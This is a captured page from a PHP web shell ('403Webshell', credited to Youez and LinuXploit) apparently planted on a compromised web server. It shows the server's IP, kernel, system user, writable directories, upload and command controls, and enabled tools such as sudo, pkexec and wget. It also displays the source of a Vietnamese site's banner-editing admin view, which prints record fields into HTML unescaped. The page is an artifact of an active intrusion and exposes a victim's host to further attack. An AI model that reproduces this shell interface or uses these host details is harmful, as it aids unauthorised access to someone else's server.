403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.47
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hocthongminh.net-bk/public_html/webadmin/components/banner/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hocthongminh.net-bk/public_html/webadmin/components/banner/views/edit.php
<script language="javascript">
	var width = <?=$width?>;
	var height = <?=$height?>;
	
$(document).ready(function(e) {
    $('#kind').change(function(e) {
        var value = $(this).val();
		var arr = value.split("x");
		width = arr[0];
		height = arr[1];
		$('#width').val(width);
		$('#height').val(height);
    });
});
</script>
<?=form_open(uri_string());?>
<input type="hidden" name="width" id="width" value="<?=$width?>" />
<input type="hidden" name="height" id="height" value="<?=$height?>" />
<table class="form">
    <tr>
        <td class="label required">Vị trí</td>
        <td><select name="kind" id="kind" class="w200">
            <?php
				$position = $this->config->item('pos_banner') ; 
				foreach($position as $key=>$value) :
        	?>
                <option value="<?=$key?>"><?=$value?></option>
			<? endforeach; ?>
            </select></td>
    </tr>
    <script language="javascript">mkselected('kind', '<?=$rs->kind?>');</script>
    <tr>
        <td class="w150 label required">Hình ảnh</td>
        <td>
            <a class="lib_img" href="javascript:imgLib.openLib({'width':width,'height':height,return_tag:'lb_image',action:'imgcrop'});" title="<?=lang('add_file');?>"></a>
            <div class="lb_image">
                <input type="hidden" name="lb_image" class="w350" value="" id="lb_image">
                <a href="javascript:imgLib.openLib({dir_img:'banner/<?=$rs->lb_image;?>',width:width,height:height,method:'imgcrop',return_tag:'lb_image',action:'imgcrop'});">
                    <? if($rs->lb_image){ ?><img src="<?=urlimg.'banner/'.$rs->lb_image?>" width="100px"/><? } ?>
                </a>
            </div>
        </td>
    </tr>
    <tr>
        <td class="w150 label">Title</td>
        <td><input type="text" name="lb_title" id="lb_title" class="w300"  value="<?=$rs->lb_title;?>"></td>
    </tr>
    <tr>
        <td class="w150  label">Link</td>
        <td><input type="text" name="lb_url" id="lb_url" class="w300" value="<?=$rs->lb_url;?>"></td>
    </tr>
    <tr>
        <td class="w150 label">Thứ tự</td>
        <td><input type="text" name="nb_order" id="nb_order" class="w100" value="<?=$rs->nb_order;?>"></td>
    </tr>
    <tr>
        <td class="label">Trạng thái</td>
        <td><input type="checkbox" name="bl_active" id="bl_active"  value="1" <?=($rs->bl_active==1)? 'checked="checked"' : ''?>></td>
    </tr>
    <tr>
        <td class="label"></td>
        <td class="footer"><input type="submit" name="bt_submit" class="capnhat"></td>
    </tr>
</table>
<?=form_close();?>

Youez - 2016 - github.com/yon3zu
LinuXploit